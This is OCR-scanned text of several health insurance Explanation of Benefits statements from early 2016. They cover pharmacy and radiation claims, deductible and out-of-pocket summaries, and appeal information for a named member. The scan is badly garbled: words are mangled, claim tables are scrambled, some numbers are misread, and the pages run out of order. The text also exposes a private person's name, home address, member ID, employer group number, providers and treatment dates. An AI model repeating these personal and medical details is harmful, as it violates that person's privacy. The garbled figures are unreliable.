This is the portion of.the amount billed that was p1aid by your plan. · T ' t.;'= Total amo,,mt you owe}he provider(s) -\ _ . . --.p-. ­· -::,The portion· of the Amount Billedl you owe.the proviaer(s). -This amount does~nolreflect any -· ~payment you may have already made.at the timeJyou received care.-This amou_pt Cl)ay include-your­deductible, co~pay, coinsurance andfor non covered charges. This amount.does not include ariy · eayments made to the_subscri_ber'. If.a payme1Jli~~s rna~__!lireqly to ttie subs.co~er,you/the ~. i-. cc subsCfiiber is resp_Qns.ibl.e·for payililg the physician~(a~lity or other health care_p11>tessionail.. 1.~ 1i~-:.. .. :·. .. • Whe·n coordlnati911.Qf._benef~s appfies, t~~ 1anw,_1.1ri,t will in'?)4de P.a;y,ne_nJs1[~~)f !}ie·~.u~~~-ij(,-~ Page 1 of 8 STD-EOB Use this EOB statement as a reference or retain as needed 000000906122174 BB-10122"08"0l9869-M0-1&1S3.«l311-AFUS 12SN United HealthCare Services;.. Inc. GREENSBORO SERVICE \.,ENTER February 22, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE IN NElWORi< =­ Deductible $700.00 f 700.00 Met Out of Pocket $5,000.00 $2,183.55 $2,816.45 Olrr,OF NETWORK· ­ -:... - $1 ,400.00 $577.00 $823.00 Deductible Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care seivices before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what seivices apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. Annual (-)Applied to (=) Remaining FAMILY Amount Date Balance IN .NETWORK Deductible $ t,400.QO : ·:'\:":,; $700.00 $700.00 Out of Pocket $10,000.00 $2,183.55 $7,816.45 ou:T OF ~~ORK . -== Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.0D $15,000.00 Copay: A fee you pay each time you see a provider, receive a seivice, or fill a prescription. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care seivices. Please refer to your plan documents for more information. STD-EOB BB-10122"05"049868-M0-16053-60311-AFUS 12SN UnitedHealthcareIUIA~~~ United HealthCare Services,.. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 February 22, 2016 ATLANTAA GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim· and benefit information. Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networ1< physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and morel For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at United Healthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Use this EOB statement as a reference or retain as needed Page 10 of 11 000000911625097 BB-10122"05"0498E!7-MO-16053.«>311-AFUS 12SN Unit.edHealthrare lillA-~"'"­ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER February 22, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958663909601 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibili to Provider•• Date(s) of Type of Service Notes* Amount Plan YoorPla.n Amount You Service Billed (-) Discounts (-) Paid !(=) Deductible (.,.) Copay (+) Coinsurance (+J Non Covered (=) Owe 02/19/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS $0.00 $7.00 $0.00 $0.00 $7.00 Claim Total: $0.00 $0.00 $0.00 ..,This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOWTHE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. WE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UriitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you undeistand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance STO-EOB Page 9 of 11 Use this EOB statement as a reference or retain as needed BB-10122"04"048688-M0-1!1053.al311-AFVS 12SN United.Healthcare .iiA-en.,~ United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER February 22, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958655851401 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider-• Date(s) of Type of Service Notes• Amount Plan Yoi.lrPlan l Amount You Service Billed (-) Discounts (-) Paid (=} Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe 02/19/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 $0.00 $1,891 .45 $0.00 $ . DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $1,891.45 $0.00 $0.00 ..This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 95B663594701 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider-• Date(s) of Type of Service Notes" Amount Plan Yo~r Plan -'I Amount You I Service Billed (-) Discounts (-) Paid -(c:) Deductible (+) Copay (+) Coinsi..ram;e (+) Non Covered (=) Owe STD-EOB Use this EOB statement as a reference or retain as needed Page 8 of 11 BB-10122'04'048865-MO-16053-00311-AFUS 12SN United HealthCare Services A Inc. GREENSBORO SERVICE vENTER February 22, 2016 PO BOX 740809 ATLANTA GA 30374-0802 Have more questions about your claim? Phone: 1-800-638-8884 Visit www.myuhc.com for all your claim and benefit infom,ation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958628059401 Date(s) of Service Type of Service Notes* Amount Billed (-) Plan Discounts (-) Your Plan P-aid 02/19/2016 PRESCRIPTION FB $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0,00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958655830901 Patient Account Number: CAR PHARMACY CLM Amount You Deductible (+) Copay (+) Coinsurance (+) Non Covered (=-) Owe $0.00 $1 ,891.45 $0.00 $0.00 $0,00 $1,891.45 $0.00 $0.00 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibllit to Provider** Date(s) of Type of Service Notes• Amount --Plan ---'t'oud~Jan_ _ Amount You Service Billed (-) Discounts (-) Paid ·(=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) -· Owe-­ 02/19/2016 PRESCRIPTION DRUGS PB $0.00 $0.00 $0.00 Claim Total: $0.00 $0.00 $0,00 $0.00 $1,891,46 $0.00 $0.00 $1,891.45 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 7 of 11 Use this EOB statement as a reference or retain as needed BB-10122'03'048864-M0-1EiOS3-00311-AFUS 12SN UnitedHealthcare llJA-0..,,~ United HealthCare Services;,. Inc. GREENSBORO SERVICE '-'ENTER February 22, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958541615601 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider** Date(s} of Type of Service Notes• Amount Plan -Your Plan Amount You Service Billed (-) Discounts (-) I Paid' C. ,(=) Deductib,e (+) Copay (+) Coins<.1rance (.,.) Non Covered (=) Owe 02/16/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 $0.00 $7.00 $0.00 $0. DRUGS Claim Total: $0.00 $0.00 $0.00 $0,00 $7,00 $0.00 $0.00 0 This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958561481901 Patient Account Number: CAR PHARMACY CLM Date(s) of Service Type of Service Notes• Amount BIiied (-) Plan Discounts (-) .Your Plan Paid 02/18/2016 PRESCRIPTION DRUGS Claim Total: FB $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 STO.EOB Page 6 of 11 Use this EOB statement as a reference or retain as needed BB-10122"03'049863-MO-11l053-60311-AFUS 12SN UnitedHealthcare 1)1) Aln..tlodhr...c,~ United HealthCare Services;.. Inc. February 22, 2016 GREENSBORO SERVICE vENTER PO BOX 7 40809 ATLANTA,,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958539208501 Patient Account Number: CAR PHARMACY CLM I Your Itemized Res onsibilit to Provi~er"* Amount You Date(s) of Type of Service Notes* Amount Plan Your Pl~n Service Billed (-) Discounts (-) j ~ 1Pald (=) Deductiblti (+) Copay (+) Coinsurance (..-) Nun Covered (=) Owe -$0.00 $7.00 $0.00 $0.00 02/18/2016 PRESCRIPTION FB $0.00 $0.00 $0.0 DRUGS $0.00 $0.00 $0.00 $0,00 $7.00 $0.00 $0.00 Claim Total: **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958539212201 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider"* Amount You Date(s) of Type of Service Notes* -Amount Plan --"'2-Your-PJalt'. ; Copay (+) Coinsurance (+) Non Covered (=) ~-~_Owe Service Billed (-) Discounts (-) Paid f") Deductible (+) Page 5 of 11 STD-EOB BS.10122"02'049862•MCM6053-60311·AFUS 12SN UnitedHealthcare flll A-......~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER February 22, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958539203901 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider*­Date(s) of Type of Service Notes• Amount Plan Voor Plan Amount You Service Billed (-) Discounts ( ·) l Pald . (=) Deouctible (+) Copay (+) Coinsurance (+) Non Covered (-) Owe -This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958539205701 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes* Amount Plan Vour Plan Service Billed (-) Discounts (-) Paid 02/18/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 11 000000911825097 BB-10122'02'049861-MO-16DS3-Sl311-AFUS 12SN United HealthCare Services;..Inc. February 22, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infon11alion. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958478069101 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan Your Pian Service Billed (-) Discounts (-) Paid (=) l 02/18/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958478072101 Your Itemized Res onsibilit to Provider'• Date(s) of Type of Service Notes• Amount Plan -Your Blan I Amount You Service Billed (-) Discounts (-) Paid ,(=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (~) Owe~ ....This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 3 of 11 Use this EOB statement as a reference or retain as needed BB-10122"01'0498tlO·M0·16053.aJ311-AFUS 12SN Unitedllealthcare llllA-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER February 22, 2016 PO BOX 7 40809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958226042301 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Service Notes• Amount Billed (-) Plan Discounts (-) Vour-Pfan Paid (=) 02/16/2016 PRESCRIPTION DRUGS Claim Total: FB $0.00 $0,00 $0.00 $0.00 $0.00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958365006901 Your Itemized Res onsibilit to Provider.. Date(s) of Type of Service Notes• Amount Plan Your Plan 1 Amount You Service Billed (-) Discounts (-) Paid (=) Deductible (+) Copay (q Coinsurance (..-) Non Covered (=) ., Owe 02/17/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $3.62 $0.00 $0.00 $3.62 ..This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment STD-EOB Page 2 of 11 Use this EOB statement as a reference or retain as needed United HealthCare Services;. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 8B-10122"01 "049859,1,1O-16053-60311-AFUS 12SN UnitedHealthcarf! Im Al)uft!ll-~Co~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 February 22, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits stJtement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). ~· .•~, Amount BiUed -· • -•· . I · · --· · ....---· ,$0.00 This is the total amount that your provider billea for tile services that were Pl'QVide~d to you:'.:'-, 1. 1! ,. Plan Discounts--1t· . . . . ~ . ~ . ·t 1 :i. !~•: :ft $0.00 Your plan negoti~tes disC4iunt5: with_provide~ to sav:e you mo11~y. · This amount rQaYals~. i~dude, __,'. ~-~ seM~ that yo~:ar! nol responsi~e to pay. + . --~ . " _ ~-. 1::r.·\ . . i;~ . 1 Your Plan P41id--1 . •. -. -I --. $0.00 _ This is the portion of the amount billed.that was paid by your pl~n. . . _ ~ • -~ J ~-• . .-;.,_-~ I ,, 1 Page 1 of 11 STD-EOB Use this EOB statement as a referencelor retain as needed 000000811825097 BB-10121-02"049858-M0-16053-60311-AFUS 12SN UnitedHealthcare flll A-Cim4>C.,,,,.,. United HealthCare Services;..Inc. GREENSBORO SERVICE vENTER PO BOX 740809 February 22, 2016 ATLANTA), GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining JEFFREY Amount Date Balance Relationship: EE INNETWORK Deductible $700.00 $700.00 Met Out of Pocket $5,000.00 $4,902.65 $97.35 'OUr'oF·' NETWORK .-l, ~-,,__ J ' • ) Deductible $1,400.00 $824.01 $575.99 Out of Pocket $7,500.00 $824.01 $6,675.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care se,vices. Please refer to your plan documents for more information. Plan Year. The dates your plan benefit maximums are applicable. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance INN,~1W9~ ,-,· -~;t I $1,400.00 $700.00 $700.00 Deductible $10 ,000.00 $6,265.59 $3,734.41 Out of Pocket ., OUT,OF NETWORK ·•::-'-;­ $2,800.00 $824.01 $1,975.99 Deductible $15,000.00 $824.01 $14,175.99 Out of Pocket Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period or your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Patient Non Covered The amount of money you pay for services that are not covered under your plan. STD-EOB Page 4 of 4 Use this EOB statement as a reference or retain as needed 8B-10121'02'049857-MO-16053-8>311-AfUS 12SN UniredHealthcarel)ll~-G<>41Co,qw,; United HealthCare Services).. Inc. GREENSBORO SERVICE vENTER February 22, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Phone: 1-00~638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-80~252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or seivice requested or you do not receive a timely decision, you may be able to request an external review of your daim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. MyuhcRegistration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information-required~for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at United Healthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Page 3 of 4 STD-EOB BB-10121'01'049858-MO-16053-60311-AFUS 12SN UnitedHealthcaredlA-,....,ea.,,.,, · United HealthCare Services;. Inc. GREENSBORO SERVICE ..,;ENTER PO BOX 740809 February 22, 2016 ATLANTA"' GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: J WISHNEW Claim Number: 582182244301 Patient Account Number: 7586 Date(s) of Type of Service Notes" Amount Plan Your Plan Amount You · Service Billed (-) Discounts (-) Paid -Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe 12/14/2015 OFFICE VISITS 29 $200.00 $0.00 $0.00 $164.00 $0.00 $0.00 $36.00 Claim Total: $200.00 $0.00 $0.00 $164.00 $0.00 $0.00 $36.00 ..This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* 29 -YOUR PLAN COVERS THE ELIGIBLE EXPENSE AMOUNT REIMBURSABLE UNDER YOUR PLAN FOR COVERED OUT-OF-NETWORK HEALTH SERVICES. THE ELIGIBLE AMOUNT IS BASED ON A DATABASE OF COMPETITIVE FEES FOR SIMILAR SERVICES OR SUPPLIES IN YOUR AREA. BENEFITS ARE NOT AVAILABLE FOR THAT PORTION OF THE CHARGE THAT EXCEEDS THE ELIGIBLE AMOUNT DETERMINED FOR THIS SERVICE. You have the right to receive, upon request and free of charge, a copy of the internal rule, guideline or protocol that we relied upon in making the non-coverage decision for your claim. A review of this benefit detennination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant infonnation to the appeal address referenced above. You may request copies (free of charge) of infonnation relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan ls governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: STD-EOB Page 2 of 4 Use thls EOB statement as a reference or retain as needed United HealthCare Services;. Inc. GREENSBORO SERVICE ~ENTER PO BOX 740809 ATLANTA, GA 30374-0802 BB-10121'01•049855-M0-16053-60311-AfUS 1 ISN ~ A~~:e~~ealthcar~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. 0PS$$$PKG JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR February 22, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75068-4917 Member ID: A838199653 111I•111I1•1•I•11111II'I11•111h111'•I111111II111111111II II 111111 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 • l Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. I Claims Summ~ry Detailed claim information is located orl the following page(s). Dollar Amounv 08$crletion ,:r~--,, . '"· Amount Billed $200.00 This is the total amou1lt ttiat yot.ir provider billed for the services that were provided to you. ~. · I . , ,,, .. -, .. -, Plan Dj.scounts . .. l $0.00 Your plan negotiates discounts with providers to save }".OU money. This amourit may alsQ Include .,,-, .,],,-,, ·· ·..,,, •'' ...:;; services ·that you are not responsible to pay. . . · · · ' ' 1 :,... I II -~=-•*· , Your.Plan__Paid · I . -~ 11, ' ;, '£,. $0.00 This is the ~rtion of fhe amount billed that was prld by you~ plan. .; ·-~ Total-amount you owe the provider(s) ­· -~-,. _ The, portion of the: A.rn.ount Billed you-owe,the proyider(s),;;;T,hi5e,amount d.oes,~n~t.refJect,any ,-:_. . ., _ -:. .}200.'00 payment'you may have.already made a1 the-.time-rycm received.care __ This amoµnt may i!:iclude you~ · ded1.1_ctible, co-pay, coinsurjince and/or non coveF charg~~...Ihi~.~ oun,\ d<;t,es"'"n~tJnci.!Jde_a~yIi •f-· . 1 1 •· ·' ·' __ u _payments made t9._t_~subscribe!"'. If a paymenttwas~made di~ctlyJ o.J.tm.iugsg:Q~r. yol![the'~ . · "<; :;· .t" -· subs(lriberJ~3~n§:ible for paying the physici~n. facility oc.other he_afth £.a'J'""Qrg.f~it.9.'1,~--'r'rl, ,.,.,., , ' _ -~ ",,,:·-,-. * Yv'h~n Cf:>O!_di~Uon of,benefits al)plies, this am?un~w~I in<;lude payme~~m~ e ~o th~~ubsa:i~~~( .. Page 1 of 4 STD-EOB Use this EOB statement as a reference or retain as needed 00000091182S093 S WP-03428'03'017580-M0-16021-60311-AFUS 22SYMS United.Healthcare '1!1A-~~ United HealthCare Services.1..Inc. GREENSBORO SERVICE l..ENTER January 21, 2016 PO BOX 740809 ATLANTA" GA 30374-0802 Have more questions about your claim? Phone: 1-o00.638-8884 Visit www.myuhc.com for all your claim and benefit information. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=) Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE ; .--:.'• ...! •. ,. ,, I U ' f, '. } I l'E,1~ IN:NETWORK . Deductible $1,400.00 $700.00 $700.00 Deductible Uoo.oo i,oo.oo Met Out of Pocket $10,000.00 $6,216.01 $3,763.99 Out of Pocket $5,000.00 $4,933.07 $66.93 ll It::. OUT OF NETWORK , Deductible $1,400.00 $496.01 $903.99 Out of Pocket $7,500.00 $496.01 $7,003.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. Deductible $2,800.00 Out of Pocket $15,000.00 $496.01 $14,503.99 Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 6 S WP-034281l3"017579-t.10-16021-60311-AFUS 22SYMS UnitedHealthcare ,A_°"4'_ United HealthCare Services;...Inc. January 21, 2016 GREENSBORO SERVICE l.,ENTER PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infomiation. the appeal address referenced above. You may request copies (free of charge) of infomiation relevant to your claim by contacting us at the above address. Availability of ConsumerAssistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393--2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1Aj 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millionsto th-e cost of health care. If services_acgjisted which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infom,ation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at United Healthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier orits use, please contact your customer care professional at the numbershown at the top of this Statement. STD-EOB Page 5 of 6 Use this EOB statement as a reference or retain as needed S WP-03428,>2,>17578-M0-16021-60311-AFUS 22SYMS United HealthCare Services;. Inc. GREENSBORO SERVICE ~ENTER January 21, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: NORTHPOINT RADIATION Claim Number: 51 1805990802 Patient Account Number. 0000062231-42 Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes* Amount Plan Your Pl•'1 Amount You Service Billed H Discounts (-) i Paid 1(=) Deductible (+) Coµay (+) Coin~uranc,;e (+) Non Covered (=) Owe 06/25/2015 MEDICAL 01 $220.00 $77.89 $ 02.11 SERVICES 06/25/2015 MEDICAL QG $1,613.00 $866.33 $746.67 SERVICES 06/26/2015 MEDICAL 01 $220.00 $77.89 $102.11 SERVICES 06/26/2015 MEDICAL QG $1,613.00 $866.33 $746.67 SERVICES 06/25/2015 ADJUSTMENT OH $0.00 -$284.22 Claim Total: 01 $3,666.00 $1,888.44 $1,413.34 Notes* $0.00 . $0.00 $0.00 I $0.00 $0.00 $0.00 $0.00 $0,00 $40.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $80.00 $0.00 $0.00 ·,; I 11 ..This total does not reflect any 